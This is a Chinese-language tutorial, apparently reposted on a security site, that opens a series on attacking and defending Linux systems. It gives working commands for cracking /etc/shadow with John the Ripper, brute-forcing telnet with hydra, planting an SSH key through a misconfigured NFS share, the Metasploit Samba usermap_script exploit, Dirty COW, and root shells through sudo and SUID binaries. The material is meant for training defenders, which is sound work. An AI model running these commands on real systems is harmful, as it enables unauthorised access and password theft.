首页 网络安全 安全学院 查看内容

Linux系统安全攻防技术

2021-7-4 11:51 1486 0

摘要: 针对Linux系统的一些攻击一、前言本系列文档包括三个部分,分别是《针对Linux系统的攻击》、《Linux系统安全加固》和《Linux系统入侵排查》。编写这些文档的目的,是从攻和防的角度分别对Linux系统相关的安全技术进 ...
关键词: 文件 攻击者 系统 攻击 使用 Linux 口令 可以 目标 端口

针对Linux系统的一些攻击

一、前言

本系列文档包括三个部分,分别是《针对Linux系统的攻击》、《Linux系统安全加固》和《Linux系统入侵排查》。编写这些文档的目的,是从攻和防的角度分别对Linux系统相关的安全技术进行介绍,使初级水平的网络安全从业者对Linux操作系统的脆弱性检查、安全加固、应急响应等安全服务工作产生更清晰的认识。


本文是系列文档的第一部分,介绍针对Linux系统的攻击方法。正所谓“未知攻,焉知防”,要掌握Linux系统的安全防护技术,必须了解基本的攻击技术,知道黑客在攻击的时候会做哪些事情,才好有针对性地进行防御。

二、针对Linux系统进行攻击

本文所涉及到的针对Linux系统的攻击方式包括以下这些:

  • 暴力破解
  • 服务漏洞
  • 权限提升
  • 文件传输
  • 木马后门
  • rootkit
  • 端口转发和socks代理
  • 隐蔽信道
  • 物理攻击
  • 痕迹清理

下面分别进行介绍。

(一)暴力破解

暴力破解在这里主要是针对Linux系统的账号和口令进行离线攻击或在线攻击。

所谓的离线攻击是指攻击者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻击者本地进行破解。而在线攻击是指攻击者远程对Linux系统的服务如ssh、telnet等进行口令破解,不断地尝试登录,根据服务器返回的信息来判断正在尝试的口令是否正确。


1. 离线攻击

离线攻击所使用的工具有很多,最常用的有两个,一个是John the ripper,另一个是hashcat。这两个工具都在kali linux的软件安装源里面,所以都可以在线安装。另外Linux系统管理员也可以使用john the ripper在对Linux系统进行脆弱性检查的时候确定自己的系统中是否存在弱口令。


例子:使用John The Ripper对Ubuntu 1604系统的口令文件进行字典攻击

//攻击者在本地安装john the ripper

apt install john

//下载目标系统的/etc/passwd和/etc/shadow文件到本地 ,使用unshadow合并这两个文件。unshadow是john软件包中的一个程序

/usr/sbin/unshadow passwd shadow > /tmp/crack.password.db

//使用默认的口令字典开始破解(/usr/share/john/password.lst)

john /tmp/crack.password.db

可以看到,得到了root和user1用户的口令。

//也可以指定其它字典文件进行破解

john /tmp/crack.password.db --wordlist /word/list/file


2. 在线攻击

Linux平台用于远程破解口令的软件比较常用的有hydra和nmap。


例子:使用hydra对本地系统进行远程口令破解

//使用hydra,通过telnet服务对本地的user1用户的口令进行破解,指定使用john的口令字典文件

hydra -l user1 -P /usr/share/john/password.lst 127.0.0.1 telnet

-l //指定用户名,若不知道用户名泽需要指定用户名字典

-P //指定口令字典文件

127.0.0.1 //指定目标IP地址

telnet //指定目标服务

破解成功,得到了user1用户的口令:123456。同样,root用户的口令也可以破解出来,这里不再赘述。


(二)攻击服务漏洞

Linux系统中可能部署了各种服务,如果软件存在漏洞或者服务存在错误的配置,则很可能被攻击者利用。例如NFS服务和samba服务:

NFS:

如果导出资源的范围过大并且权限过高,则存在风险。例如导出了根文件系统并允许读写,则攻击者可将ssh公钥写入ssh授权文件,行程ssh证书后门,实现非授权访问。


samba:

版本:Samba3.x,共享目录可写并允许wide links,则攻击者可以访问目标主机的根文件系统并得到shell。


1. 攻击NFS服务的漏洞

例子,攻击者将自己的公钥文件写入目标Linux系统(metasploitable 2)的NFS共享

//攻击者在本地创建临时目录

mkdir /tmp/r00t

//在目标服务器的NFS服务存在错误配置的情况下,攻击者将该服务器通过NFS服务共享出来的根目录挂载到刚创建的临时目录

mount -o nolock -t nfs remote_ip:/ /tmp/r00t

//攻击则会将自己的公钥文件通过NFS共享写入到目标主机的ssh授权文件中,这样就形成了ssh证书后门

cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys

//之后攻击者即可通过证书访问目标系统的ssh服务

ssh root@remote_ip


2. 攻击Samba服务的漏洞

例如在metapsloitable2靶机中,samba服务存在漏洞,导致攻击者可以得到靶机的shell。

use exploit/multi/samba/usermap_script

set rhost remote_ip

exploit

得到shell。

(三)权限提升

权限提升的方法很多,主要介绍四种方法:内核漏洞提权、sudo提权、suid提权和capabilities提权。提权的主要目的是实现对目标系统更大程度的控制,提权所使用的技术也可以作为后门来使用。


1. 内核漏洞提权

通过内核漏洞进行提权的方法很多,这里介绍脏牛(dirty-cow)漏洞提权。

例子:Linux系统(metasploitable 2)通过脏牛漏洞提权

(1) 获取源代码

//登录目标系统:

ssh user1@target_ip

EXP下载地址:https://github.com/FireFart/dirtycow

(2) 提权

//在目标系统中编译源代码,生成可执行文件,名为dirty

gcc -pthread dirty.c -o dirty -lcrypt

//运行dirty程序开始提权

./dirty abcd1234 //指定口令

提权的准备已经完成了,可以看到/etc/passwd文件已经变成了二进制文件。接下来就可以切换到root身份了。

su - firefart //切换到firefart用户,输入前面设置的口令

从图中可以看到,用户的uid为0,提权成功了。


2. sudo提权

推荐阅读:《CentOS 7系统配置sudo策略(附sudo提权演示)》

https://www.freebuf.com/articles/system/243526.html

该文章介绍了sudo提权的方法。

例子:Linux系统(metasploitable 2)通过sudo提升权限

//查看当前用户允许通过sudo执行的命令

sudo -l

从sudo -l的返回结果来看,系统允许以sudo的方式执行awk、less、vim这三个命令。

//sudo awk提权

sudo awk 'BEGIN {system("/bin/bash")}'

sudo awk提权成功,得到了root shell。

//sudo less提权

sudo less /etc/lsb-release

在less的底部输入!/bin/bash,可以看到提权成功,得到了root shell。

//sudo vim提权

sudo vim -c '!bash'

提权成功,得到了root shell。


3. suid提权

推荐阅读:《CentOS 7系统利用suid提权获取Root Shell》

https://www.freebuf.com/articles/system/244627.html

该文章较详细地介绍了suid提权获取root shell的方法。


例子:Linux系统(metasploitable 2)通过suid程序提升权限

//使用find命令在系统中查找具有suid标志位的文件

find / -perm -u=s -type f 2>/dev/null

假设攻击者找到了find、nmap、more这三个可执行文件设置了suid,那么下面尝试进行提权。

//使用带有suid的find命令进行提权

find . -exec /bin/sh -p \; -quit

使用find命令进行提权。查看看到,find命令通过exec参数创建了一个子进程,这个子进程的euid为0,因此这个子进程是一个root shell。

//使用带有suid的nmap命令进行提权

echo "os.execute('/bin/bash -p')" > /tmp/shell.nse

nmap --script=/tmp/shell.nse 127.0.0.1

得到了root shell。这个root shell有个特点,就是看不到输入的命令,只能看到执行的结果。

//使用带有suid的more命令进行提权

more /etc/profile

//在底行输入

!/bin/sh -p

本文出处: https://www.toutiao.com/a6980667649038500393/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部